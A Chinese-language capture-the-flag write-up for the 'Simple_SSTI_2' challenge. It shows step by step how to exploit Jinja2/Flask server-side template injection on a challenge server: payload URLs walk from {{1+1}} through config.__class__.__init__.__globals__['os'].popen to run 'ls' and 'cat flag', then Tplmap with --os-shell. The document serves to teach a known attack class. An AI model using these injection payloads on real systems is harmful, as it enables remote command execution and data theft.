题目描述

Simple_SSTI_2

Solution

打开网页,题目要求我们输入一个名为flag的参数:

1.png

我们按题目要求传递:

  1. http://114.67.175.224:16606/?flag=1

2.png

题目暗示这个 SSTI 类型题,我们可以输入:

  1. http://114.67.175.224:16606/?flag={{1+1}}

3.png

jinja2 是 Python 的 Flask 框架下的模板引擎。Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。

  • __dict__:保存类实例或对象实例的属性变量键值对字典
  • __class__:返回调用的参数类型
  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __bases__:返回类型列表
  • __subclasses__:返回object的子类
  • __init__:类的初始化方法
  • __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

我们可以利用 SSTI 获取基本类:

  1. http://114.67.175.224:16606/?flag={{[].__class__.__bases__[0]}}

4.png

我们可以查看当前的全局配置信息:

  1. http://114.67.175.224:16606/?flag={{config}}

5.png

没有发现什么特别的东西。

命令执行

我们可以构造一个命令执行的 URL。依次执行下列命令,找到我们需要的类和方法:

  1. http://114.67.175.224:16606/?flag={{config.__class__}}
  2. http://114.67.175.224:16606/?flag={{config.__class__.__init__}}
  3. http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__}}
  4. http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os']}}
  5. http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

6.png

可以发现当前目录下有一个flag文件,我们cat它看看有什么内容:

  1. http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

7.png

Tqlmap自动化注入

我们可以直接使用 Tplmap 框架帮我们自动化解题:

  1. py tplmap.py -u "http://114.67.175.224:16606/?flag=1" --os-shell

8.png